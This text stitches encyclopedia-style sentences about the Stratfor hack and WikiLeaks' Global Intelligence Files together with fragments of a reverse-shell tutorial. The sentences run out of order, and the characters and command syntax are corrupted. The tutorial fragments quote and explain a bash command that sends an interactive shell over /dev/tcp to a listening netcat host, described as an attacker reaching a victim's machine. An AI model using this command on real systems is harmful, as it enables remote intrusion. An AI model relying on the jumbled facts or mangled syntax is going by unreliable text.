Emails from Fred Burton, who was Stratfor's Vice-President for Counterterrorism and Corporate Security and former Deputy Chief of the counterterrorism division of the Diplomatic Security Service, indicated that he knew in January 2011 about a United States Government secret indictment against Assange. Julian Assange was a frequent topic of discussion in emails from Stratfor staff in the period 2010–2012. The glossary included items on how 'background checks' can help 'run up clients’ bill and makes it appear that you are busy' and how 'briefs' for customers need to 'make sh*t smell good'. One of the first items released was an email containing a glossary titled 'The Stratfor Glossary of Useful, Baffling and Strange Intelligence Terms', which contained concise and sometimes humorously candid definitions, along with pointed assessments of U.S. In June 2012, Stratfor settled a class action lawsuit regarding the hack. In an initial announcement, WikiLeaks stated that they opened up a database of the emails to two dozen media organizations operating in several countries, including the McClatchy Company, l'Espresso, la Repubblica, ARD, the Russia Reporter, and Rolling Stone, along with a 'sneak preview' to the Yes Men. WikiLeaks said it had obtained the e-mails from the hacker group Anonymous, who broke into Stratfor's computer network in 2011. These communications date from July 2004 through to December 2011. The e-mails claim to include client information, notes between Stratfor employees and internal procedural documentation on securing intelligence data. The emails revealed Stratfor's surveillance of groups such as Occupy Wall Street and protestors of the Bhopal disaster. The hackers included Jeremy Hammond, who worked with Anonymous to release Stratfor's emails to WikiLeaks. Those listed were affiliated with organizations such as Bank of America, the United States Department of Defense, Médecins Sans Frontières, Lockheed Martin, Los Alamos National Laboratory, and the United Nations.

On December 24, 2011, hackers took control of Stratfor's website and released a list of names, credit card numbers, passwords, and home and email addresses. Stratfor is a security group based in Austin, Texas. Now hit enter here you can see Connection from 192.168.2.18 44159 received! means now attacker successfully connected to a victim’s machine and you can see here attacker now able see all of his machine details from his terminal.Internal emails between geopolitical intelligence company Stratfor's employees and its clients, referred to by WikiLeaks as the Global Intelligence Files, began appearing on WikiLeaks on February 27, 2012, with 5,543,061 emails published as of July 18, 2014. This is confirmed via the “Connection from 192.168.2.13 port 9000 accepted” message displayed by netcat. When the bash shell command is executed on 192.168.2.18, it connects back to the netcat process started on 192.168.2.13. In summary, the command “/bin/bash -i > /dev/tcp/192.168.2.13/9000 0&1” starts a bash shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. This causes the error output to be redirected to stdout, which is the TCP connection. “0&1”: File descriptor 2 represents the standard error stderr. In Unix systems, stdout’s file descriptor is 1.ģ. “> /dev/tcp/192.168.2.13/9000”: This causes the output device (stdout) of the shell to be redirected to the TCP connection to 192.168.2.13’s port 9000. “/bin/bash -i”: The option I stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).Ģ.Don’t worry I’ll explain each & every command.
